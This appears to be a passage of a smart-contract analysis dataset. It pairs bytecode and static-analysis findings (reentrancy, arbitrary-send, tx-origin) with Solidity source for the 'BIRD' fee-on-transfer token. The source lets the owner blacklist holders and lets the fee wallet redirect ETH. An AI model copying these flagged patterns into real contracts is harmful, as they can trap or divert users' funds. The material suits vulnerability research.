c6a565b61092d565b3480156103b557600080fd5b5061021460105481565b3480156103cb57600080fd5b506102ab6103da366004611c0b565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561040457600080fd5b50610214600b5481565b34801561041a57600080fd5b50610289610429366004611d92565b6109b5565b34801561043a57600080fd5b50600a5461044e906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561047257600080fd5b50610289610481366004611c0b565b610a79565b34801561049257600080fd5b50610214600c5481565b3480156104a857600080fd5b50610289610ae7565b3480156104bd57600080fd5b506102146104cc366004611c0b565b610b14565b3480156104dd57600080fd5b50610289610b2f565b3480156104f257600080fd5b506000546001600160a01b031661044e565b34801561051057600080fd5b506011546102ab9062010000900460ff1681565b34801561053057600080fd5b506102ab61053f366004611c28565b610ba3565b34801561055057600080fd5b50610214600d5481565b34801561056657600080fd5b50610289610bb0565b34801561057b57600080fd5b50610289610be6565b34801561059057600080fd5b50610214610c82565b3480156105a557600080fd5b506102896105b4366004611db9565b610c9a565b3480156105c557600080fd5b506102146105d4366004611dd6565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561060b57600080fd5b50610289610d17565b6008546001600160a01b0316336001600160a01b03161461063457600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b600061069633848461105e565b50600192915050565b6008546001600160a01b0316336001600160a01b0316146106bf57600080fd5b60005b81518110156107ae57600a5482516001600160a01b03909116908390839081106106ee576106ee611e0f565b60200260200101516001600160a01b03161415801561073f575060075482516001600160a01b039091169083908390811061072b5761072b611e0f565b60200260200101516001600160a01b031614155b1561079c5760016006600084848151811061075c5761075c611e0f565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806107a681611e3b565b9150506106c2565b5050565b6008546001600160a01b0316336001600160a01b0316146107d257600080fd5b600a8211156107e057600080fd5b600a8111156107ee57600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60115460009060ff16801561086357506001600160a01b03831660009081526004602052604090205460ff16155b801561087c5750600a546001600160a01b038581169116145b156108cb576001600160a01b03831632146108cb5760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b6108d6848484611182565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610905908490611e54565b905061091285338361105e565b506001949350505050565b600061092830610b14565b905090565b6008546001600160a01b0316336001600160a01b03161461094d57600080fd5b60005b81518110156107ae5760006006600084848151811061097157610971611e0f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806109ad81611e3b565b915050610950565b6000546001600160a01b031633146109df5760405162461bcd60e51b81526004016108c290611e6b565b6008546001600160a01b0316336001600160a01b0316146109ff57600080fd5b60008111610a445760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b60448201526064016108c2565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd89060200161067e565b6009546001600160a01b0316336001600160a01b031614610a9957600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a530149060200161067e565b6008546001600160a01b0316336001600160a01b031614610b0757600080fd5b47610b11816117f0565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610b595760405162461bcd60e51b81526004016108c290611e6b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610696338484611182565b6008546001600160a01b0316336001600160a01b031614610bd057600080fd5b6000610bdb30610b14565b9050610b1181611875565b6000546001600160a01b03163314610c105760405162461bcd60e51b81526004016108c290611e6b565b60115460ff1615610c5d5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016108c2565b6011805460ff1916600117905542601055683635c9adc5dea00000600e819055600f55565b600a54600090610928906001600160a01b0316610b14565b6000546001600160a01b03163314610cc45760405162461bcd60e51b81526004016108c290611e6b565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb9060200161067e565b6000546001600160a01b03163314610d415760405162461bcd60e51b81526004016108c290611e6b565b60115460ff1615610d8e5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016108c2565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610dcb3082683635c9adc5dea0000061105e565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2d9190611ea0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e7a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e9e9190611ea0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610eeb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f0f9190611ea0565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610f3f81610b14565b600080610f546000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610fbc573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610fe19190611ebd565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561103a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ae9190611eeb565b6001600160a01b0383166110c05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108c2565b6001600160a01b0382166111215760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108c2565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166111e65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108c2565b6001600160a01b0382166112485760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108c2565b600081116112aa5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016108c2565b6001600160a01b03831660009081526006602052604090205460ff161561131f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b60648201526084016108c2565b600080546001600160a01b0385811691161480159061134c57506000546001600160a01b03848116911614155b1561179157600a546001600160a01b03858116911614801561137c57506007546001600160a01b03848116911614155b80156113a157506001600160a01b03831660009081526004602052604090205460ff16155b1561162d5760115460ff166113f85760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016108c2565b60105442036114375760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b60448201526064016108c2565b42601054610e106114489190611f08565b11156114c257600f5461145a84610b14565b6114649084611f08565b11156114c25760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016108c2565b6001600160a01b03831660009081526005602052604090206001015460ff1661152a576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b42601054607861153a9190611f08565b111561160e57600e548211156115925760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e000000000060448201526064016108c2565b61159d42600f611f08565b6001600160a01b0384166000908152600560205260409020541061160e5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016108c2565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff16158015611647575060115460ff165b80156116615750600a546001600160a01b03858116911614155b156117915761167142600f611f08565b6001600160a01b038516600090815260056020526040902054106116e35760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016108c2565b60006116ee30610b14565b9050801561177a5760115462010000900460ff161561177157600d54600a5460649190611723906001600160a01b0316610b14565b61172d9190611f20565b6117379190611f3f565b81111561177157600d54600a546064919061175a906001600160a01b0316610b14565b6117649190611f20565b61176e9190611f3f565b90505b61177a81611875565b47801561178a5761178a476117f0565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806117d357506001600160a01b03841660009081526004602052604090205460ff165b156117dc575060005b6117e985858584866119e9565b5050505050565b6008546001600160a01b03166108fc61180a600284611f3f565b6040518115909202916000818181858888f19350505050158015611832573d6000803e3d6000fd5b506009546001600160a01b03166108fc61184d600284611f3f565b6040518115909202916000818181858888f193505050501580156107ae573d6000803e3d6000fd5b6011805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106118b9576118b9611e0f565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611912573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119369190611ea0565b8160018151811061194957611949611e0f565b6001600160a01b03928316602091820292909201015260075461196f913091168461105e565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906119a8908590600090869030904290600401611f61565b600060405180830381600087803b1580156119c257600080fd5b505af11580156119d6573d6000803e3d6000fd5b50506011805461ff001916905550505050565b60006119f58383611a0b565b9050611a0386868684611a52565b505050505050565b6000808315611a4b578215611a235750600b54611a4b565b50600c54601054611a3690610384611f08565b421015611a4b57611a48600582611f08565b90505b9392505050565b600080611a5f8484611b2f565b6001600160a01b0388166000908152600260205260409020549193509150611a88908590611e54565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611ab8908390611f08565b6001600160a01b038616600090815260026020526040902055611ada81611b63565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b1f91815260200190565b60405180910390a3505050505050565b600080806064611b3f8587611f20565b611b499190611f3f565b90506000611b578287611e54565b96919550909350505050565b30600090815260026020526040902054611b7e908290611f08565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611bbe57858101830151858201604001528201611ba2565b81811115611bd0576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610b1157600080fd5b8035611c0681611be6565b919050565b600060208284031215611c1d57600080fd5b8135611a4b81611be6565b60008060408385031215611c3b57600080fd5b8235611c4681611be6565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611c7d57600080fd5b823567ffffffffffffffff80821115611c9557600080fd5b818501915085601f830112611ca957600080fd5b813581811115611cbb57611cbb611c54565b8060051b604051601f19603f83011681018181108582111715611ce057611ce0611c54565b604052918252848201925083810185019188831115611cfe57600080fd5b938501935b82851015611d2357611d1485611bfb565b84529385019392850192611d03565b98975050505050505050565b60008060408385031215611d4257600080fd5b50508035926020909101359150565b600080600060608486031215611d6657600080fd5b8335611d7181611be6565b92506020840135611d8181611be6565b929592945050506040919091013590565b600060208284031215611da457600080fd5b5035919050565b8015158114610b1157600080fd5b600060208284031215611dcb57600080fd5b8135611a4b81611dab565b60008060408385031215611de957600080fd5b8235611df481611be6565b91506020830135611e0481611be6565b809150509250929050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611e4d57611e4d611e25565b5060010190565b600082821015611e6657611e66611e25565b500390565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611eb257600080fd5b8151611a4b81611be6565b600080600060608486031215611ed257600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611efd57600080fd5b8151611a4b81611dab565b60008219821115611f1b57611f1b611e25565b500190565b6000816000190483118215151615611f3a57611f3a611e25565b500290565b600082611f5c57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611fb15784516001600160a01b031683529383019391830191600101611f8c565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220df4cf99efe38732645605c4911a15da9ecaff2ed3146af631c9799d5b7dac2e864736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,383 |
0xc4af7Cd0E0f082Bf6AB6DAD86A10b2A0fEbeE0b4 | //SPDX-License-Identifier: UNLICENSED
// https://t.me/Birdisthewordeth
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BIRD is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e9 * 10**9;
string public constant name = unicode"Bird is the Word";
string public constant symbol = unicode"BIRD";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeCollectionADD;
address public uniswapV2Pair;
uint public _buyFee = 12;
uint public _sellFee = 12;
uint private _feeRate = 15;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_FeeCollectionADD = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if((_launchedAt + (2 minutes)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens);
}
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeCollectionADD.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function createPair() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxHeldTokens = 20000000 * 10**9;
}
function manualswap() external {
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeCollectionADD);
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external onlyOwner() {
require(buy < 12 && sell < 12 );
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _FeeCollectionADD);
_FeeCollectionADD = payable(newAddress);
emit TaxAddUpdated(_FeeCollectionADD);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
} | 0x6080604052600436106101dc5760003560e01c80636fc3eaec11610102578063a9059cbb11610095578063c9567bf911610064578063c9567bf914610578578063db92dbb61461058d578063dcb0e0ad146105a2578063dd62ed3e146105c257600080fd5b8063a9059cbb14610503578063b2289c6214610523578063b515566a14610543578063c3c8cd801461056357600080fd5b80638da5cb5b116100d15780638da5cb5b1461048057806394b8d8f21461049e57806395d89b41146104be5780639e78fb4f146104ee57600080fd5b80636fc3eaec1461041657806370a082311461042b578063715018a61461044b57806373f54a111461046057600080fd5b8063313ce5671161017a57806340b9a54b1161014957806340b9a54b1461039257806345596e2e146103a857806349bd5a5e146103c8578063590f897e1461040057600080fd5b8063313ce567146102fc57806331c2d8471461032357806332d873d8146103435780633bbac5791461035957600080fd5b806318160ddd116101b657806318160ddd1461028c5780631940d020146102b157806323b872dd146102c757806327f3a72a146102e757600080fd5b806306fdde03146101e8578063095ea7b31461023a5780630b78f9c01461026a57600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b506102246040518060400160405280601081526020016f109a5c99081a5cc81d1a194815dbdc9960821b81525081565b6040516102319190611741565b60405180910390f35b34801561024657600080fd5b5061025a6102553660046117bb565b610608565b6040519015158152602001610231565b34801561027657600080fd5b5061028a6102853660046117e7565b61061e565b005b34801561029857600080fd5b50670de0b6b3a76400005b604051908152602001610231565b3480156102bd57600080fd5b506102a3600c5481565b3480156102d357600080fd5b5061025a6102e2366004611809565b6106b1565b3480156102f357600080fd5b506102a3610705565b34801561030857600080fd5b50610311600981565b60405160ff9091168152602001610231565b34801561032f57600080fd5b5061028a61033e366004611860565b610715565b34801561034f57600080fd5b506102a3600d5481565b34801561036557600080fd5b5061025a610374366004611925565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561039e57600080fd5b506102a360095481565b3480156103b457600080fd5b5061028a6103c3366004611942565b6107ab565b3480156103d457600080fd5b506008546103e8906001600160a01b031681565b6040516001600160a01b039091168152602001610231565b34801561040c57600080fd5b506102a3600a5481565b34801561042257600080fd5b5061028a610871565b34801561043757600080fd5b506102a3610446366004611925565b61087e565b34801561045757600080fd5b5061028a610899565b34801561046c57600080fd5b5061028a61047b366004611925565b61090d565b34801561048c57600080fd5b506000546001600160a01b03166103e8565b3480156104aa57600080fd5b50600e5461025a9062010000900460ff1681565b3480156104ca57600080fd5b50610224604051806040016040528060048152602001631092549160e21b81525081565b3480156104fa57600080fd5b5061028a61097b565b34801561050f57600080fd5b5061025a61051e3660046117bb565b610b80565b34801561052f57600080fd5b506007546103e8906001600160a01b031681565b34801561054f57600080fd5b5061028a61055e366004611860565b610b8d565b34801561056f57600080fd5b5061028a610ca6565b34801561058457600080fd5b5061028a610cbc565b34801561059957600080fd5b506102a3610ead565b3480156105ae57600080fd5b5061028a6105bd366004611969565b610ec5565b3480156105ce57600080fd5b506102a36105dd366004611986565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6000610615338484610f42565b50600192915050565b6000546001600160a01b031633146106515760405162461bcd60e51b8152600401610648906119bf565b60405180910390fd5b600c821080156106615750600c81105b61066a57600080fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106be848484611066565b6001600160a01b03841660009081526003602090815260408083203384529091528120546106ed908490611a0a565b90506106fa853383610f42565b506001949350505050565b60006107103061087e565b905090565b6000546001600160a01b0316331461073f5760405162461bcd60e51b8152600401610648906119bf565b60005b81518110156107a75760006005600084848151811061076357610763611a21565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061079f81611a37565b915050610742565b5050565b6000546001600160a01b031633146107d55760405162461bcd60e51b8152600401610648906119bf565b6007546001600160a01b0316336001600160a01b0316146107f557600080fd5b600081116108355760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b6044820152606401610648565b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b4761087b8161140e565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146108c35760405162461bcd60e51b8152600401610648906119bf565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b03161461092d57600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d690602001610866565b6000546001600160a01b031633146109a55760405162461bcd60e51b8152600401610648906119bf565b600e5460ff16156109f25760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610648565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610a57573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a7b9190611a52565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ac8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aec9190611a52565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b39573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5d9190611a52565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b6000610615338484611066565b6000546001600160a01b03163314610bb75760405162461bcd60e51b8152600401610648906119bf565b60005b81518110156107a75760085482516001600160a01b0390911690839083908110610be657610be6611a21565b60200260200101516001600160a01b031614158015610c37575060065482516001600160a01b0390911690839083908110610c2357610c23611a21565b60200260200101516001600160a01b031614155b15610c9457600160056000848481518110610c5457610c54611a21565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c9e81611a37565b915050610bba565b6000610cb13061087e565b905061087b81611448565b6000546001600160a01b03163314610ce65760405162461bcd60e51b8152600401610648906119bf565b600e5460ff1615610d335760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610648565b600654610d539030906001600160a01b0316670de0b6b3a7640000610f42565b6006546001600160a01b031663f305d7194730610d6f8161087e565b600080610d846000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610dec573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e119190611a6f565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610e6a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e8e9190611a9d565b50600e805460ff1916600117905542600d5566470de4df820000600c55565b600854600090610710906001600160a01b031661087e565b6000546001600160a01b03163314610eef5760405162461bcd60e51b8152600401610648906119bf565b600e805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610866565b6001600160a01b038316610fa45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610648565b6001600160a01b0382166110055760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610648565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff161561108c57600080fd5b6001600160a01b0383166110f05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610648565b6001600160a01b0382166111525760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610648565b600081116111b45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610648565b600080546001600160a01b038581169116148015906111e157506000546001600160a01b03848116911614155b156113af576008546